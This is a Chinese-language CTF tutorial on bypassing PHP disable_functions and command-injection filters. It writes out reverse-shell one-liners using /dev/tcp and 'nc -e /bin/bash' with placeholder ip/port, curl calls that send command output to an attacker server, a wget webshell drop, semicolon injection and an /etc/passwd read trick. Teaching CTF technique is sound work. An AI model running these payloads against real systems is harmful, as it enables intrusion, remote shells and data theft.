1. 程式人生 > >CTF中的命令執行繞過

CTF中的命令執行繞過

本位原創作者:Smity


 

在介紹命令注入之前,有一點需要注意:命令注入與遠端程式碼執行不同。他們的區別在於,遠端程式碼執行實際上是呼叫伺服器網站程式碼進行執行,而命令注入則是呼叫作業系統命令進行執行。

作為CTF最基礎的操作,命令執行的學習主要是為了以後進一步使用webshell打下基礎

同樣的,今天還會介紹如何使用各種命令執行繞過的方式

首先我們先來看程式碼執行

 

動態呼叫:

這個地方是ctf曾經的一個考點,也是我在強網杯出過的一道題目,叫"高明的黑客",裡面使用的就是混淆程式碼+動態函式呼叫,這種寫法實際上在紅藍攻防中很經常用到,就是一堆函式進行混淆,然後在裡面插入一個動態函式進行真正的程式碼執行或者是命令執行。

當時那道題目的靈感是來自於一場安全響應,黑客攻陷網站後,在裡頭插入了混淆以後的程式碼,1000多個檔案裡面只有一條路徑是正常執行的,最後是使用debug直接看棧記憶體的呼叫來判斷哪個路徑是真的動態呼叫。

 

常見的命令執行函式

 

反引號

這個是大家很容易忘記的一個命令執行點,ctf賽題最近也出了很多道關於這個的題目。我們在第二篇中會拿一個例子來詳細分析他的作用。

 

命令執行繞過

以上是我們常見的程式碼注入或者是命令注入的函式,但是很多時候在ctf中,出題人不會那麼輕易的就讓我們執行命令。因此我們必須要能夠掌握多種命令執行繞過的姿勢。

一般來說,遇到的無非以下兩種情況:

1.disable_function

2.過濾字元

 

disable_function

這個東西很明顯就是什麼呢,你能夠程式碼執行了,但是發現不論是蟻劍還是你自己手打,都執行不了系統命令,然後你用phpinfo這種函式讀取後發現如下配置:

實際上是開發者在後端的php.ini裡寫了如下語句

 

disable_functions =system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

 

最常用的就是兩種辦法

1.ld_preload

2.php_gc

 

ld_preload

今年來比較少考到,但是在紅藍攻防中很經常應用

需要對面滿足條件是:對面沒有禁用mail函式(可能這也是最近比賽不愛考這個的原因之一,如果禁用了mail,那等於就是考察別的點了,不禁用mail又一堆人用這個方法繞過,也很沒有意思)操作方法:

 

hack.c

將帶有命令的c檔案編譯成為.so檔案然後通過程式碼執行傳入(這裡可以直接用蟻劍)

然後傳入如下php檔案

訪問php檔案就可以執行剛才的命令了。然後可以在/tmp/smity檔案下看到ls的結果。

 

php_gc

從這兩次公益賽來看這個都是考點(春秋和高校)兩次的題目分別是:easy-thinking和php-uaf都是做到了程式碼執行卻沒有命令執行,所以通常步驟就是,利用蟻劍連結我們的shell程式碼執行,將下面的指令碼寫好命令傳上去然後訪問,利用phpgc程序Bypass 條件:php7.0 < 7.3 (Unix)

這裡的大家可以參考這個部落格,裡面有比較詳細的指令碼,因為太長了就不貼在這裡了

https://wulidecade.cn/2019/09/27/%E7%BB%95%E8%BF%87disable-function%E6%B1%87%E6%80%BB/

 

過濾字元

這個限制一般是題目中允許你使用system,但是很奇怪的是你卻沒有辦法獲取執行命令的結果

比如,對面過濾了空格,你能執行ls,但是沒法cat讀取檔案

比如,對面過濾了flag這個詞語,什麼檔案都可以讀取,就是沒辦法讀取flag

等等,都是ctf題目做到最後,這個出題人小心思故意在這裡卡你一下。這個時候你就需要試試我接下來講的這些方法:

 

空格代替

空格在bash下,可以用以下字元代替空格

這裡解釋一下${IFS},$IFS,$IFS$9的區別,首先$IFS在linux下表示分隔符,只有cat$IFSa.txt的時候,bash直譯器會把整個IFSa當做變數名,所以導致沒有辦法執行,然而如果加一個{}就固定了變數名,同理在後面加個$可以起到截斷的作用,而$9指的是當前系統shell程序的第九個引數的持有者,就是一個空字串,因此$9相當於沒有加東西,等於做了一個前後隔離。

 

截斷符號

ctf很喜歡考的一點是命令執行的連線,這個地方它通常會給一個已有的命令執行,比如程式碼寫好了ping命令,叫你填寫一個ip引數這樣的題目,這個時候就需要測試截斷符號,將你輸入的ip引數和後面要執行的命令隔開。首先測試所有的截斷符號:

利用截斷符號配合普通命令簡單問題基本就出來;例如:ip=127.0.0.1;cat /home/flag.txt這樣就可以達到同時執行兩條命令的效果

 

利用base編碼繞過

這種繞過針對的是系統過濾敏感字元的時候,比如他過濾了cat命令,那麼就可以用下面這種方式將cat先base64編碼後再進行解碼執行。

 

連線符,用兩個單引號可以繞過

cat /etc/pass'w'd這個是現在很喜歡考的點之一,基本能通殺大部分命令注入waf因為單引號一旦過濾很大程度上會影響正常解題。

 

反斜槓利用

這個是很經典的hitcon題目,hitcon連續好幾年出了繞過長度限制執行命令的題目

比如七個字元執行命令

七個字的命令執行

這裡先介紹一下小技巧,linux下建立檔案的命令可以用1>1建立檔名為1的空檔案

ls>1可以直接把把ls的內容匯入一個檔案中,但是會預設追加\n

\ 在linux裡也是個連線符,最早使用在螢幕不能容納超過18個字元的第一代計算機,用於連線上下兩行,這裡使用它來繞過限制

語句為wget 域名.com -O shell.php

ls > a 寫入伺服器檔案然後sh a 讀取

這裡注意.不能作為檔名的開頭,因為linux下.是隱藏檔案的開頭,ls列不出來

然而這裡還有個問題,就是ls下的檔名是按照字母順序排序的,所以需要基於時間排序 將最後的命令改成ls -t>a

至於繞過5個字元執行命令,繞過4個字元,那其實都是用\做的trick,這裡不一一贅述了。

 

命令執行結果返回長度受限制

這次在高校戰役上有一道題目提醒了我這個,出題人其實能過濾的就那麼多,那麼還有一種方法卡住你就是不讓你看到命令執行的完整結果,比如不回顯或者是回顯一行,這次題目需要用道soapclient做程式碼執行,但是它有一點不好就是沒辦法回顯完整,只能看到一行結果,這樣對我們的命令執行很不方便,而且dev檔案沒有許可權使用,這個時候我們可以用下面這個反彈shell的辦法。

其實反彈shell的命令大家很喜歡用這個:

bash -i >&/dev/tcp/ip/port0>&1

但是這個有一點不好,他需要dev也需要bash,實際上用我下面這個命令會更簡單:監聽埠後

nc-e /bin/bash ip port

這樣也可以拿到shell,其實本質是一樣的,沒有太大區別,只是簡化了一下。

 

一道很經典的命令執行繞過

這個題目好像看到兩次了,一開始大家都不會腦洞,後來發現這次還是好多人沒有學會,也沒有去總結poc:

首先先明白這個地方限制了什麼

1.限制了只能程式碼執行

2.限制了只能執行一個變數$x

3.限制了這個變數的長度

所以這個地方一共有兩個思路

1.傳入陣列,讓他能夠執行多個變數,因為$_GET是個陣列,但是這個思路是錯誤的,因為GET雖然能傳入多個變數,但是已經限制了只能執行$x,而$x來自GET數組裡鍵值為x的變數,所以第這個我們放棄。

2.反引號執行自己,傳入$x本身,也就是說,直接讓$_GET['x']=$x,這樣一來 ,就會使得$x=$x,如果$x是命令,就會通過反引號自己來執行它

如果$x後面再跟上我們之前講的連線符會是什麼樣呢

`$x`;abcd

那麼即使取出前5個字元,還是會執行整個的$x,用上分隔符就會執行多條命令

假設我們在這裡加點難度,沒有回顯,執行命令但是不給你結果,怎麼辦呢?

兩種方法

1.反彈shell

2.curl

 

反彈shell,我們這裡可以使用;來連線命令,

$x;nc -e /bin/bash ip port

然後在自己伺服器埠 nc -lvv 8080進行監聽

但是這題要是再難一點,沒有許可權執行反彈shell這個操作呢

我們還可以用另一種方法:

 

curl的妙用

在curl裡面有這幾種方式

直接ip傳送get包

-d傳送post包

-v 顯示整個通訊過程

--data傳送資料

這裡可以使用curl -v http://ip?whoami

或者 curl -v http://ip --datawhoami

IP為自己伺服器,就可以在/var/log/apache2/access.log下看到命令執行的結果了。